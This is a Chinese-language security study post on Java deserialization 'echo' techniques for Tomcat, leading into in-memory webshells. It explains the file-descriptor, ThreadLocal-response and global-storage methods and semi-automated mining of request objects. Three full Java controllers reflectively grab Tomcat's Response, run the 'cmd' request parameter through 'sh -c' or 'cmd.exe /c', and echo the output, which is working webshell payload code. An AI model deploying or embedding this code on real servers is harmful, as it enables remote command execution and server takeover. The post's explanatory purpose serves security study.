Linux回显 在学习内存马之前,先学习一下如何实现回显
通过文件描述符回显 linux下java反序列化通杀回显方法的低配版实现
通过java反序列化执行java代码,系统命令获取到发起这次请求时对应的服务端socket文件描述符,然后在文件描述符写入回显内容
问题在于如何通过java反序列化执行代码获取本次http请求用到socket的文件描述符(服务器对外开放的时fd下会有很多socket描述符) 在/proc/net/tcp6
文件中存储了大量的连接请求 其中local_address是服务端的地址和连接端口,rem_address是远程机器的地址和端口(客户端也在此记录),因此我们可以通过remote_address字段筛选出需要的inode号 这个inode号也出现在/proc/$PPID/fd
中 获取socket思路就很明显了:
1.通过client ip在/proc/net/tcp6文件中筛选出对应的inode号 2.通过inode号在/proc/$PPID/fd/中筛选出fd号 3.创建FileDescriptor对象 4.执行命令并向FileDescriptor对象输出命令执行结果
Tomcat回显 通过ThreadLocal Response回显 Tomcat中一种半通用回显方法
该方法主要是从ApplicationFilterChain中提取相关对象,因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显
这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用
写一个测试类,并且下好断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@Controller public class TestController { @ResponseBody @RequestMapping(value = "/test") public String testDemo (String input, HttpServletResponse response) throws IOException { System.out.println(response); return "Hello World!" ; } }
首先来看一下response 可以发现request和response几乎就是一路传递的,并且在内存中都是同一个变量 说明只要我们能获取到这些堆栈中,任何一个类的response实例即可
代码分析 跟着来看一下org.apache.catalina.core.ApplicationFilterChain
首先在ApplicationFilterChain对象中找到了静态变量lastServicedResponse
是一个static静态变量,不需要去获取这个变量所在的实例 是一个ThreadLocal,这样才能获取到当前线程的请求信息
并且处理我们Controller逻辑之前,有记录request和response的动作 在internalDoFilter函数中有对该ThreadLocal变量赋值的操作 发现为false,但是我们可以反射修改啊
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
,让代码逻辑走到 if 条件里面 2、初始化lastServicedRequest
和lastServicedResponse
两个变量,因为默认为null 3、从lastServicedResponse
中获取当前请求response,并且回显内容
但发现在使用response的getWriter函数时,usingWriter 变量就会被设置为true 如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错 所以说我们还需要使用反射修复输出的报错 最后kingkk师傅的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import org.apache.catalina.connector.ResponseFacade;import org.apache.catalina.core.ApplicationFilterChain;import org.apache.catalina.connector.Response;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.util.Scanner;@Controller @RequestMapping("/app") public class Echo1Controller { @RequestMapping("/test") @ResponseBody public void testDemo () throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null ); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null ); boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null ); String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd" ) : null ; if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null ) { lastServicedRequestField.set(null , new ThreadLocal <>()); lastServicedResponseField.set(null , new ThreadLocal <>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null , true ); } else if (cmd != null ) { ServletResponse responseFacade = lastServicedResponse.get(); responseFacade.getWriter(); java.io.Writer w = responseFacade.getWriter(); Field responseField = ResponseFacade.class.getDeclaredField("response" ); responseField.setAccessible(true ); Response response = (Response) responseField.get(responseFacade); Field usingWriter = Response.class.getDeclaredField("usingWriter" ); usingWriter.setAccessible(true ); usingWriter.set((Object) response, Boolean.FALSE); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; w.write(output); w.flush(); } } }
需要刷新两次的原因是因为第一次只是通过反射去修改值,这样在之后的运行中就会cache我们的请求,从而也就能获取到response
缺陷分析 如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显,例如Shiro RememberMe反序列化漏洞org.apache.catalina.core.ApplicationFilterChain
核心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); ... filter.doFilter(request, response, this ); } catch (...) ... } } try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (...){ ... } else { servlet.service(request, response); } } catch (...) { ... } finally { ... }
rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response
通过全局存储 Response回显 Tomcat的一种通用回显方法研究 基于全局储存的新思路 | Tomcat的一种通用回显方法研究
通过Thread.currentThread().getContextClassLoader()
最终获取到request
只可用于Tomcat 8 9
代码分析 同理先看看Tomcat中哪个类会存储Request以及Response,看到 发现Http11Processor类继承了AbstractProcessor类
跟进AbstractProcessor类发现有Request以及Response,而且这两个都是final类型,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response 因为不是静态变量因此要向上溯源,继续翻阅调用栈,在AbstractProtcol内部类ConnectionHandler的register方法在处理的时候就将当前的Processor的信息存储在了global中
rp为RequestInfo对象,其中包含了request对象,然而request对象包含了response对象,所以我们一旦拿到RequestInfo对象就可以获取到对应的response对象
在register代码中把RequestInfo注册到了global中
这个RequestGroupInfo类型的核心就是一个存储所有RequestInfo的List 现在的利用链:
1 AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
再往后看调用栈,现在要寻找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)
在CoyoteAdapter的service方法中,发现CoyoteAdapter的connector有很多关于Request的操作 其中的connector对象protocolHandler属性为Http11NioProtocol,Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler
1 connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
而在Tomcat启动过程中会创建connector对象 并通过addConnector函数存放在connectors中 这里的Service为StandardService
1 StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
connectors同样为非静态属性,那么我们就需要获取在tomcat中已经存在的StandardService对象,而不是新创建的对象
Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况 假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器 这个定制的ClassLoader就是WebappClassLoader
那么如何破坏Java原有的类加载机制呢?如果上层的ClassLoader需要调用下层的ClassLoader怎么办呢?就需要使用Thread Context ClassLoader,线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)
其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一 调试看下Thread.currentThread().getContextClassLoader()
中的内容 最后的调用链
1 WebappClassLoader->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
在这个调用链中一些变量有get方法,所以可以通过get函数很方便的执行调用链 对于那些私有保护属性的变量我们只能采用反射的方式动态的获取
最后Litch1师傅实现的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import org.apache.catalina.connector.Response;import org.apache.catalina.connector.ResponseFacade;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.util.Scanner;@Controller @RequestMapping("/app") public class Echo2Controller { @RequestMapping("/test2") @ResponseBody public void testDemo () throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources().getContext(); Field contextField = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); contextField.setAccessible(true ); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardContext); Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); serviceField.setAccessible(true ); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(ApplicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService); org.apache.coyote.ProtocolHandler protocolHandler = connectors[0 ].getProtocolHandler(); Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler" ); handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalField.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processors.setAccessible(true ); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global); Field req = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); req.setAccessible(true ); for (RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo); org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1 ); org.apache.catalina.connector.Response response2 = request2.getResponse(); java.io.Writer w = response2.getWriter(); String cmd = request2.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; w.write(output); w.flush(); Field responseField = ResponseFacade.class.getDeclaredField("response" ); responseField.setAccessible(true ); Field usingWriter = Response.class.getDeclaredField("usingWriter" ); usingWriter.setAccessible(true ); usingWriter.set(response2, Boolean.FALSE); } } }
局限性 利用链过长,会导致http包超长,可先修改org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize的大小,这样再次发包的时候就不会有长度限制
涉及到较多的Tomcat内部类 ,所以Tomcat版本实现改变的话就会有问题
半自动化挖掘 半自动化挖掘request实现多种中间件回显 Java安全之挖掘回显链
项目地址:https://github.com/c0ny1/java-object-searcher 将java-object-searcher导入到我们的web项目 创建一个新的Controller,写入广度优先搜索的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.example.memshell.josearcher.entity.Keyword;import com.example.memshell.josearcher.searcher.SearchRequstByBFS;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;import java.util.ArrayList;import java.util.List;@Controller @RequestMapping("/app") public class SearchController { @RequestMapping("/search") @ResponseBody public void testDemo () { List<Keyword> keys = new ArrayList <>(); Keyword.Builder builder = new Keyword .Builder(); builder.setField_type("nnn" ); keys.add(new Keyword .Builder().setField_type("ServletRequest" ).build()); keys.add(new Keyword .Builder().setField_type("RequstGroup" ).build()); keys.add(new Keyword .Builder().setField_type("RequestInfo" ).build()); keys.add(new Keyword .Builder().setField_type("RequestGroupInfo" ).build()); keys.add(new Keyword .Builder().setField_type("Request" ).build()); SearchRequstByBFS searcher = new SearchRequstByBFS (Thread.currentThread(),keys); searcher.setIs_debug(true ); searcher.setMax_search_depth(50 ); searcher.setReport_save_path("C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习" ); searcher.searchObject(); } }
找到一个链子 debug看一下,确实存在Request对象
接下来进行构造,存在两个问题: 1.org.apache.tomcat.util.threads.TaskThread
中没有group,该类继承了Thread Thread类中存在group 2.发现thread每一次都是不一样的(第二次变为14了),那么这里需要获取线程的名称对thread进行定位
最后拿到RequestInfo,就和前面的流程一样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import org.apache.catalina.connector.Response;import org.apache.catalina.connector.ResponseFacade;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.util.Scanner;@Controller @RequestMapping("/app") public class Echo3Controller { @RequestMapping("/test3") @ResponseBody public void testDemo () throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Thread thread = Thread.currentThread(); try { Field group = Class.forName("java.lang.Thread" ).getDeclaredField("group" ); group.setAccessible(true ); ThreadGroup threadGroup = (ThreadGroup) group.get(thread); Field threads = Class.forName("java.lang.ThreadGroup" ).getDeclaredField("threads" ); threads.setAccessible(true ); Thread[] thread1 = (Thread[]) threads.get(threadGroup); for (Thread thread2 : thread1) { if (thread2.getName().contains("http-nio" ) && thread2.getName().contains("ClientPoller" )) { Field target = Class.forName("java.lang.Thread" ).getDeclaredField("target" ); target.setAccessible(true ); Object o = target.get(thread2); Field this$0 = o.getClass().getDeclaredField("this$0" ); this $0. setAccessible(true ); Object o1 = this $0. get(o); Field handler = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint" ).getDeclaredField("handler" ); handler.setAccessible(true ); Object handler1 = handler.get(o1); Field global = handler1.getClass().getDeclaredField("global" ); global.setAccessible(true ); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(handler1); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processors.setAccessible(true ); java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); req.setAccessible(true ); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo); org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1 ); org.apache.catalina.connector.Response response2 = request2.getResponse(); java.io.Writer w = response2.getWriter(); String cmd = request2.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; w.write(output); w.flush(); Field responseField = ResponseFacade.class.getDeclaredField("response" ); responseField.setAccessible(true ); Field usingWriter = Response.class.getDeclaredField("usingWriter" ); usingWriter.setAccessible(true ); usingWriter.set(response2, Boolean.FALSE); } } } } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) { } } }
回显研究: 基于tomcat的内存 Webshell 无文件攻击技术 基于Tomcat无文件Webshell研究 tomcat不出网回显连续剧第六集 Shiro RememberMe 漏洞检测的探索之路 Java内存马:一种Tomcat全版本获取StandardContext的新方法 Tomcat回显技术学习汇总 Java安全之反序列化回显与内存马